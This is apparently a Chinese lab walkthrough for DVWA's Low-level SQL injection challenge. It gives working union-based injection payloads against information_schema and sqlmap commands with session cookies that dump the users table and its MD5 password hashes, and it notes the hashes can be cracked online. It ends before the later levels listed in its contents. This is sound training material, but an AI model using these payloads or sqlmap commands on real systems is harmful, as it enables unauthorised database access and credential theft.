网络安全 DVWA通关指南 SQL Injection(SQL注入)

2024-06-20 1572阅读

DVWA SQL Injection

文章目录

  • DVWA SQL Injection
    • Low
    • Medium
    • High
    • Impossible

      SQL注入漏洞基本原理

      Web应用程序对用户输入的数据校验处理不严或者根本没有校验,致使用户可以拼接执行SQL命令。

      可能导致数据泄露或数据破坏,缺乏可审计性,甚至导致完全接管主机。

      根据注入技术分类有以下五种:

      布尔型盲注:根据返回页面判断条件真假

      时间型盲注:用页面返回时间是否增加判断是否存在注入

      基于错误的注入:页面会返回错误信息

      联合查询注入:可以使用union的情况下

      堆查询注入:可以同时执行多条语句

      防御方法

      使用参数化查询。

      数据库服务器不会把参数的内容当作SQL指令的一部分来拼接执行;

      而是在数据库完成SQL指令的编译后才套用参数运行(预编译)。

      避免数据变成代码被执行,时刻分清代码和数据的界限。

      Low

      一、判断提交方式

      在User ID中输入数字1,提交后发现,在URL地址栏出现了提交的参数,由此可以判断提交方式为get方式。

      提问:get和post提交方式对SQL注入的实施有什么影响?

      网络安全 DVWA通关指南 SQL Injection(SQL注入)

      二、判断服务器处理类型(数字型或字符型)

      加单引号,提交1',出现报错信息,显示多出一个单引号,可以确定为字符型注入

      网络安全 DVWA通关指南 SQL Injection(SQL注入)

      三、判断注入点

      提交1' or 1=1#语句,结果返回了全部的内容,可以判断存在注入点

      1' or 1=1#
      

      网络安全 DVWA通关指南 SQL Injection(SQL注入)

      四、判断列数

      使用order by语句判断目标数据库表中的列数,依次提交1' order by 1#语句,数字从大到小,当出现报错信息后确定列数。

      1' order by 1#
      1' order by 2#
      1' order by 3# 
      

      网络安全 DVWA通关指南 SQL Injection(SQL注入)

      网络安全 DVWA通关指南 SQL Injection(SQL注入)

      网络安全 DVWA通关指南 SQL Injection(SQL注入)

      当提交1' order by 3#时出现报错信息,说明目标数据库表中的列数为2

      五、提取库名、表名、字段名、值

      1、提取库名

      依据前一步得到的列数构建注入语句,得到数据库名dvwa

      1' union select 1,database()#
      

      网络安全 DVWA通关指南 SQL Injection(SQL注入)

      2、提取表名

      通过注入攻击来获取名为’dvwa’的数据库中的所有表名

      1' union select 1,table_name from information_schema.tables where table_schema='dvwa'#
      //information_schema 是一个特殊的系统数据库,其中包含了所有用户创建的数据库以及这些数据库中的表的信息。tables 表提供了关于所有表的详细信息,如表名、表类型等。
      //"1,table_name"中的'1'是一个占位符,用于模拟与原始查询返回相同数量的列,以便UNION操作成功执行。
      

      当提交注入语句时,可能出现如下错误信息:

      Illegal mix of collations for operation 'UNION'
      

      网络安全 DVWA通关指南 SQL Injection(SQL注入)

      这是由于MySQL在执行UNION操作时遇到的不同字符集之间的冲突报错。

      解决方法:打开CMD,登录MySQL的dvwa数据库,修改first_name和last_name字段的字符集

      alter table users modify first_name varchar(15) character set utf8 collate utf8_general_ci;
      alter table users modify last_name varchar(15) character set utf8 collate utf8_general_ci;
      //将first_name和last_name字段的字符集都设置为了utf8,并指定了排序规则为utf8_general_ci
      

      修改完毕后,命令执行成功

      网络安全 DVWA通关指南 SQL Injection(SQL注入)

      3、提取字段名

      通过注入攻击获取数据库中特定表(本例中为users表)的所有字段名。

      1' union select 1,column_name from information_schema.columns where table_name='users'#
      

      网络安全 DVWA通关指南 SQL Injection(SQL注入)

      4、提取值

      从数据库表 users 中提取 user 和 password 字段的数据

      1' union select user,password from users#
      

      执行命令出现同样的字符编码问题,解决方法还是修改字段的字符集

      网络安全 DVWA通关指南 SQL Injection(SQL注入)

      alter table users modify user varchar(15) character set utf8 collate utf8_general_ci;
      alter table users modify password varchar(50) character set utf8 collate utf8_general_ci;
      

      执行成功得到用户和密码的数据,密码为32位小写MD5,可以通过在线工具解密

      网络安全 DVWA通关指南 SQL Injection(SQL注入)

      网络安全 DVWA通关指南 SQL Injection(SQL注入)

      六、SQLmap工具使用

      sqlmap -u "http://dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "PHPSESSID=265uqla8dabr5jt04llgsk4sc9; security=low"
      

      网络安全 DVWA通关指南 SQL Injection(SQL注入)

      网络安全 DVWA通关指南 SQL Injection(SQL注入)

      网络安全 DVWA通关指南 SQL Injection(SQL注入)

      1、提取库名

      sqlmap -u "http://dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "PHPSESSID=265uqla8dabr5jt04llgsk4sc9; security=low" --dbs
      

      网络安全 DVWA通关指南 SQL Injection(SQL注入)

      2、提取表名

      sqlmap -u "http://dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "PHPSESSID=265uqla8dabr5jt04llgsk4sc9; security=low" -D dvwa --tables
      

      网络安全 DVWA通关指南 SQL Injection(SQL注入)

      3、提取字段名

      sqlmap -u "http://dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "PHPSESSID=265uqla8dabr5jt04llgsk4sc9; security=low" -D dvwa -T users --columns
      

      网络安全 DVWA通关指南 SQL Injection(SQL注入)

      4、提取值

      sqlmap -u "http://dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "PHPSESSID=i0ssj777jur6gqb9af6bd111tn; security=low" --batch -D dvwa -T users -C user,password --dump
      

      网络安全 DVWA通关指南 SQL Injection(SQL注入)

      七、分析后台脚本

VPS购买请点击我

免责声明:我们致力于保护作者版权,注重分享,被刊用文章因无法核实真实出处,未能及时与作者取得联系,或有版权异议的,请联系管理员,我们会立即处理! 部分文章是来自自研大数据AI进行生成,内容摘自(百度百科,百度知道,头条百科,中国民法典,刑法,牛津词典,新华词典,汉语词典,国家院校,科普平台)等数据,内容仅供学习参考,不准确地方联系删除处理! 图片声明:本站部分配图来自人工智能系统AI生成,觅知网授权图片,PxHere摄影无版权图库和百度,360,搜狗等多加搜索引擎自动关键词搜索配图,如有侵权的图片,请第一时间联系我们,邮箱:ciyunidc@ciyunshuju.com。本站只作为美观性配图使用,无任何非法侵犯第三方意图,一切解释权归图片著作权方,本站不承担任何责任。如有恶意碰瓷者,必当奉陪到底严惩不贷!

目录[+]